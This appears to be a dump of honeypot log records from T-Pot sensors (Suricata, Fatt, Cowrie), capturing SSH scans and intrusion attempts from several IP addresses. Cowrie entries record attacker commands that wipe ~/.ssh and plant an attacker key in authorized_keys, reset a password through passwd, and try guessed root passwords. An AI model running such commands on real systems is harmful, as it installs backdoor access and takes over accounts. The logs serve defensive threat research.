"AAADVAUU/kfWMulCdIzM9Fwr3pvoygAAALdlY2RoLXNoYTItbmlzdHAyNTYsZWNkaC1zaGEyLW5pc3RwMzg0LGVjZGgtc2hhMi1uaXN0cDUyMSxkaWZmaWUtaGVsbG1hbi1ncm91cC1leGNoYW5nZS1zaGEyNTYsZGlmZmllLWhlbGxtYW4tZ3JvdXAtZXhjaGFuZ2Utc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEAAABLZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAAAAAAABRNMH8Tg==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 58105, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:00:46.598766Z", "@timestamp": "2021-09-20T11:00:46.598Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...T...G.2.Bt...\\\\+........ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...Kecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com....none....none.............Q4..N"}}	1	\N	\N	alert	known attacker	\N
19773	218.92.0.190	109.199.241.180	Fatt	2021-09-20 14:00:46.598766+03	2021-09-20 14:15:01.529614+03	{"_id": "RgXdAnwBvYTbRNuEj_Uz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 58105, "dest_port": 22, "timestamp": "2021-09-20T11:00:46.598766", "@timestamp": "2021-09-20T11:00:46.598Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
19774	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:00:46.341332+03	2021-09-20 14:15:01.531612+03	{"_id": "RwXdAnwBvYTbRNuEj_Uz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "aa89855f6900", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T11:00:46.341332Z", "@timestamp": "2021-09-20T11:00:46.341Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
19775	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:00:46.598984+03	2021-09-20 14:15:01.532613+03	{"_id": "SgXdAnwBvYTbRNuEj_Uz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "aa89855f6900", "@version": "1", "timestamp": "2021-09-20T11:00:46.598984Z", "@timestamp": "2021-09-20T11:00:46.598Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
19776	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:00:47.052461+03	2021-09-20 14:15:01.533614+03	{"_id": "TQXdAnwBvYTbRNuEkvVK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 28028, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1910641600220397, "@version": "1", "in_iface": "enp5s0", "src_port": 37949, "dest_port": 53, "timestamp": "2021-09-20T11:00:47.052461Z", "@timestamp": "2021-09-20T11:00:47.052Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
19777	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:00:47.126173+03	2021-09-20 14:15:01.534612+03	{"_id": "VgXdAnwBvYTbRNuEk_V4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 34652, "dest_port": 443, "timestamp": "2021-09-20T11:00:47.126173", "@timestamp": "2021-09-20T11:00:47.126Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
19778	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:47.617173+03	2021-09-20 14:15:01.536613+03	{"_id": "VAXdAnwBvYTbRNuEk_V4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.command.input", "message": "CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:00:47.617173Z", "@timestamp": "2021-09-20T11:00:47.617Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
19779	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:47.616624+03	2021-09-20 14:15:01.537612+03	{"_id": "WAXdAnwBvYTbRNuEk_V4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.session.params", "message": [], "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:00:47.616624Z", "@timestamp": "2021-09-20T11:00:47.616Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
19780	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:48.182213+03	2021-09-20 14:15:01.539614+03	{"_id": "WwXdAnwBvYTbRNuEl_UD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "src_ip": "119.29.153.168", "eventid": "cowrie.session.file_download", "message": "Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "outfile": "dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "session": "341f760f2101", "@version": "1", "destfile": "/home/leech/.ssh/authorized_keys", "duplicate": true, "timestamp": "2021-09-20T11:00:48.182213Z", "@timestamp": "2021-09-20T11:00:48.182Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.file_download	\N	known attacker	\N
19781	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:00:48.004242+03	2021-09-20 14:15:01.540614+03	{"_id": "WgXdAnwBvYTbRNuEl_UD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/1q2w3e!Q@W#E] failed", "session": "aa89855f6900", "@version": "1", "password": "1q2w3e!Q@W#E", "username": "root", "timestamp": "2021-09-20T11:00:48.004242Z", "@timestamp": "2021-09-20T11:00:48.004Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
19782	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:48.185324+03	2021-09-20 14:15:01.541612+03	{"_id": "XAXdAnwBvYTbRNuEl_UE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 107, "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "src_ip": "119.29.153.168", "ttylog": "log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0 seconds", "session": "341f760f2101", "@version": "1", "duration": 0.5688092708587646, "duplicate": true, "timestamp": "2021-09-20T11:00:48.185324Z", "@timestamp": "2021-09-20T11:00:48.185Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
19783	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:48.553572+03	2021-09-20 14:15:01.542612+03	{"_id": "XQXdAnwBvYTbRNuEl_UE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.session.params", "message": [], "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:00:48.553572Z", "@timestamp": "2021-09-20T11:00:48.553Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
19784	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:49.544065+03	2021-09-20 14:15:01.544612+03	{"_id": "YAXdAnwBvYTbRNuEmvXs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "echo -e \\"leech\\\\nMqHLJaXGd8XA\\\\nMqHLJaXGd8XA\\"|passwd|bash", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.command.input", "message": "CMD: echo -e \\"leech\\\\nMqHLJaXGd8XA\\\\nMqHLJaXGd8XA\\"|passwd|bash", "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:00:49.544065Z", "@timestamp": "2021-09-20T11:00:49.544Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
19785	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:49.544894+03	2021-09-20 14:15:01.545612+03	{"_id": "YQXdAnwBvYTbRNuEmvXs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "Enter new UNIX password: ", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.command.input", "message": "CMD: Enter new UNIX password: ", "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:00:49.544894Z", "@timestamp": "2021-09-20T11:00:49.544Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
19786	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:00:49.286772+03	2021-09-20 14:15:01.546613+03	{"_id": "XwXdAnwBvYTbRNuEmvXs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/1q2w#E$R] failed", "session": "aa89855f6900", "@version": "1", "password": "1q2w#E$R", "username": "root", "timestamp": "2021-09-20T11:00:49.286772Z", "@timestamp": "2021-09-20T11:00:49.286Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
19787	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:49.543506+03	2021-09-20 14:15:01.547614+03	{"_id": "YgXdAnwBvYTbRNuEmvXs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.session.params", "message": [], "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:00:49.543506Z", "@timestamp": "2021-09-20T11:00:49.543Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
19788	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:00:45.083306+03	2021-09-20 14:15:01.548642+03	{"_id": "PAXdAnwBvYTbRNuEivV5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:00:45.083306+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 74}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 20, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN Potential SSH Scan", "signature_id": 2001219}, "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1461293531612522, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 58105, "dest_port": 22, "timestamp": "2021-09-20T11:00:45.083306Z", "@timestamp": "2021-09-20T11:00:45.083Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
